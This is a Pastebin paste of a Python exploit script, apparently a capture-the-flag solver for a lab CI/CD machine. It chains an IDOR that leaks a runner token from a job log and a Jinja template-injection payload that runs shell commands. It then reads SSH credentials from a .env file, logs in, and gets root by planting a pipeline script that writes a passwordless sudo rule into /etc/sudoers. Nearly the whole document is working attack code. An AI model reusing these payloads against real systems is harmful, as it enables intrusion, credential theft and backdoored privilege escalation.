Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import requests
- import re
- import time
- import paramiko
- import sys
- IP = "172.17.0.2"
- BASE_URL = f"http://{IP}"
- def get_runner_info():
- """Paso 1: IDOR para obtener información del runner"""
- print("[*] Paso 1: Obteniendo información del runner (IDOR)")
- url = f"{BASE_URL}/api/jobs/126/trace"
- response = requests.get(url)
- if response.status_code == 200:
- print(" ✅ IDOR exitoso")
- print(f" 📄 Log obtenido ({len(response.text)} bytes)")
- # Extraer información relevante
- env_vars = re.findall(r'CI_RUNNER_TOKEN=(\S+)', response.text)
- builds_dir = re.findall(r'CI_BUILDS_DIR=(\S+)', response.text)
- if env_vars:
- print(f" 🏷️ Runner token: {env_vars[0]}")
- if builds_dir:
- print(f" 📁 Builds dir: {builds_dir[0]}")
- return response.text
- else:
- print(" ❌ Error obteniendo IDOR")
- return None
- def test_ssti():
- """Paso 2: Probar SSTI con {{2*2}}"""
- print("[*] Paso 2: Probando SSTI con {{2*2}}")
- url = f"{BASE_URL}/pipelines/new"
- data = {"name": "{{2*2}}", "ref": "main"}
- response = requests.post(url, data=data)
- if response.status_code == 200 and "4" in response.text:
- print(" ✅ SSTI confirmada ({{2*2}} = 4)")
- return True
- else:
- print(" ❌ SSTI no confirmada")
- return False
- def rce_payload(payload):
- """Paso 3: Ejecutar RCE via SSTI"""
- url = f"{BASE_URL}/pipelines/new"
- ssti_payload = f"{{{{cycler.__init__.__globals__.os.popen('{payload}').read()}}}}"
- data = {"name": ssti_payload, "ref": "main"}
- response = requests.post(url, data=data)
- if response.status_code == 200:
- # Extraer resultado del SSTI
- match = re.search(r'Pipeline <strong>(.*?)</strong>', response.text, re.DOTALL)
- if match:
- return match.group(1).strip()
- return None
- def get_env_file():
- """Paso 3: Leer /opt/ci/.env via SSTI"""
- print("[*] Paso 3: Leyendo /opt/ci/.env via SSTI")
- result = rce_payload("cat /opt/ci/.env")
- if result:
- print(" ✅ .env leído correctamente")
- print(f" 📄 Contenido:\n{result}")
- # Extraer credenciales
- ssh_user = re.search(r'DEVOPS_SSH_USER=(\S+)', result)
- ssh_pass = re.search(r'DEVOPS_SSH_PASS=(\S+)', result)
- if ssh_user and ssh_pass:
- print(f" 👤 Usuario: {ssh_user.group(1)}")
- print(f" 🔑 Contraseña: {ssh_pass.group(1)}")
- return ssh_user.group(1), ssh_pass.group(1)
- else:
- print(" ❌ Error leyendo .env")
- return None, None
- def ssh_connect(username, password):
- """Paso 4: Conectar via SSH"""
- print("[*] Paso 4: Conectando via SSH")
- try:
- ssh = paramiko.SSHClient()
- ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
- ssh.connect(IP, username=username, password=password, timeout=10)
- print(" ✅ Conexión SSH exitosa")
- return ssh
- except Exception as e:
- print(f" ❌ Error en SSH: {e}")
- return None
- def get_user_flag(ssh):
- """Paso 4: Obtener user_flag"""
- print("[*] Paso 4: Obteniendo user_flag.txt")
- stdin, stdout, stderr = ssh.exec_command("cat user_flag.txt")
- flag = stdout.read().decode().strip()
- if flag:
- print(f" 🚩 user_flag: {flag}")
- return flag
- else:
- print(" ❌ No se encontró user_flag.txt")
- return None
- def ppe_exploit(ssh):
- """Paso 5: PPE - Poisoned Pipeline Execution"""
- print("[*] Paso 5: Poisoned Pipeline Execution")
- # Crear script malicioso
- malicious_script = '''#!/bin/bash
- echo "devops ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers
- '''
- # Escribir script en /opt/ci/builds/
- stdin, stdout, stderr = ssh.exec_command(f"echo '{malicious_script}' > /opt/ci/builds/pwn.sh")
- print(" ✅ Script malicioso escrito en /opt/ci/builds/pwn.sh")
- # Hacer ejecutable
- ssh.exec_command("chmod +x /opt/ci/builds/pwn.sh")
- print(" ✅ Script hecho ejecutable")
- print(" ⏳ Esperando que el runner ejecute el script (20s)...")
- time.sleep(25) # Esperar el intervalo del runner
- # Verificar escalada
- stdin, stdout, stderr = ssh.exec_command("sudo -i cat root_flag.txt")
- flag = stdout.read().decode().strip()
- if flag:
- print(f" 🚩 root_flag: {flag}")
- return flag
- else:
- print(" ❌ No se pudo leer root_flag")
- return None
- def main():
- print("=" * 60)
- print(" MASoftware CI/CD - Explotación completa")
- print("=" * 60)
- # Paso 1: IDOR
- get_runner_info()
- print()
- # Paso 2: SSTI
- if not test_ssti():
- print("[!] SSTI no confirmada, deteniendo...")
- return
- print()
- # Paso 3: RCE + .env
- user, password = get_env_file()
- if not user or not password:
- print("[!] No se obtuvieron credenciales")
- return
- print()
- # Paso 4: SSH + user_flag
- ssh = ssh_connect(user, password)
- if not ssh:
- return
- user_flag = get_user_flag(ssh)
- print()
- # Paso 5: PPE + root_flag
- if user_flag:
- root_flag = ppe_exploit(ssh)
- ssh.close()
- print("\n" + "=" * 60)
- print(" ¡MÁQUINA COMPLETADA!")
- if user_flag:
- print(f" 🚩 user_flag: {user_flag}")
- if 'root_flag' in locals() and root_flag:
- print(f" 🚩 root_flag: {root_flag}")
- print("=" * 60)
- if __name__ == "__main__":
- main()
Advertisement
Add Comment
Please, Sign In to add comment